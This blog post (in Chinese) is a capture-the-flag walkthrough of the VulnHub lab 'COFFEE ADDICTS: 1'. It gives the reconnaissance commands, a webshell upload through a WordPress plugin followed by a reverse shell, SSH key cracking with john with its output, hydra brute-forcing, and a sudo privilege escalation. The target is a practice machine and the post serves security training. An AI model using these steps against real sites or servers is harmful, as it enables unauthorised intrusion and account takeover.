wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.9- COFFEE ADDICTS: 1 (vulnhub)渗透测试
发表于: | 分类: 安全测试 | 评论:0 | 阅读: 1979

一、前言

主要利用方式:wordpress反弹shell+暴力破解账号(直破+john破解)获取密码+sudo免密执行命令,其实有些步骤方式可多种。

二、靶机信息

靶场: vulnhub.com
靶机名称: COFFEE ADDICTS: 1
难度: 中等
发布时间: 2021 年 5月 20日
下载地址:https://www.vulnhub.com/entry/coffee-addicts-1,699/
备注:本靶场注意以下坑点:
           1、wordpress 直接更改404会被限制,需要绕一下
           2、暴力破解中,可以直接密码爆破,也可以通过.ssh私钥进行爆破
           3、提权时,通过密码登录上去后,要找到sudo免密执行命令的方法

三、虚拟机配置
VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配

四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l

2、探测靶机的开发端口及服务
└─$ sudo nmap -p- 10.0.2.9
└─$ sudo nmap -p22,80 -sV -A 10.0.2.9

3、浏览器访问80端口,提示需要添加某域名到/etc/hosts
http://10.0.2.9

4、添加hosts再访问目标域名
http://coffeeaddicts.thm/

5、在页面中发现BTC,初步怀疑是base64编码,尝试解码,但没啥有效信息
密文:BTC: VEhNe2ltX3RoZV9saXphcmRfa2luZ30gaHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==
解码:THM{im_the_lizard_king} https://www.youtube.com/watch?v=dQw4w9WgXcQ

6、尝试查看源码及目录遍历
<!-- code taken from https://github.com/Nomy/Hacked-Website-Template -->

└─$ dirsearch -u http://coffeeaddicts.thm/

7、通过扫描,发现存在wordpress ,并且有主界面和登录界面,访问
http://coffeeaddicts.thm/wordpress/

8、通过浏览网页,发现一个有可能是密码的字段
Lucy Longmire 有一条评论询问这是否是密码。然后,gus 回答它可能是。如果我们仔细看帖子,他写的是“我需要你回来”。同样,我们从与 gus 相同的页面获取用户名。

五、漏洞利用(突破边界)
9、因此,通过删除空格来尝试登录网站(此处可以上爆破工具),运气不错,可以进来。(U:gus P:gus i need you back)

10、登陆成功,尝试webshell后台拿取webshell。
wp常见后台getshell方法如下:
1、直接修改替换默认404页面
2、上传包含木马文件的zip主题部署
3、上产包含木马文件的zip插件部署

01-在更改404页面的时候,每次改都报错,哪怕是其他模板改完再切换为主题,也可以。

02-通过插件(WP File Manager)上传webshell文件,形成反弹shell

02-上传webshell页面
(kali自带/usr/share/webshells/php/php-reverse-shell.php)改个文件中的ip和端口

03-nc监听999端口,浏览器访问shell页面,反弹shell
http://coffeeaddicts.thm/wordpress/20220703prs.php

04-使用python获取一个tty shell

python3 -c 'import pty; pty.spawn("/bin/bash");'

05-获取初步突破边界的www用户权限的flag

六、提权
11、查看同目录下的readme.txt文件

你好,管理员。

你可以看到你的网站已经被黑了,任何修复它的尝试都是徒劳的,因为我们把你从sudoers中删除了,而且我们改变了root密码。

~Nicolas Fritzges

能说明gus被移除了管理员权限,应该是badbyte有root提权的可能,再查看badbyte用户,其中有一个.ssh目录存有一个私钥,没有其他信息,尝试暴力破解,结果密码非常弱,成功了
密码获取方法一:.ssh文件
12-01、查看badbyte用户目录,存在.ssh文件

12-02、在badbyte的目录中可以找到ssh私钥

12-3、整个文件拷贝到本地,命名为:id_rsa_hash,并下载ssh2john.py文件(靶机未开代理只能本地访问并保存下来)
wget https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/ssh2john.py

12-4、再通过ssh2john.py将私钥复制到本地,使用ssh2john转化为john可破解格式,再通过john引用rockyou.txt进行暴力破解
└─$ python3 ssh2john.py /home/kali/Desktop/id_rsa.hash > /home/kali/Desktop/id_rsa_hash

└─$ john --wordlist=/home/kali/Desktop/rockyou.txt /home/kali/Desktop/id_rsa.hash
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password (/home/kali/Desktop/id_rsa_hash)
1g 0:00:00:00 DONE (2022-07-03 09:13) 33.33g/s 1066p/s 1066c/s 1066C/s 123456..butterfly
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

密码获取方法二:密码爆破
13、靶机存在bash权限的用户,尝试爆破badbyte用户,密码可见爆破(password)

└─$ hydra -l badbyte -P /home/kali/Desktop/rockyou.txt 10.0.2.9 ssh
└─$ hydra -l badbyte -P /home/kali/Desktop/rockyou.txt coffeeaddicts.thm ssh

登录方法一:密码直接22ssh登录
14、通过暴力破解获取-P:password
└─$ ssh badbyte@10.0.2.9

登录方法二:
15-01、使用openssl由私钥产生公钥(需要用到之前爆破的密码password)

15-02、然后使用密钥文件进行登录

16、登陆后查看具有sudo免密执行的命令

17、按照历史命令,执行后获得root权限

18、获取一个交互式shell,查看root目录下的flag,并ip a证明靶机IP地址
BadByte # /bin/bash
root@CoffeeAdicts:/opt/BadByte# cat /root/root.txt

添加新评论

TOP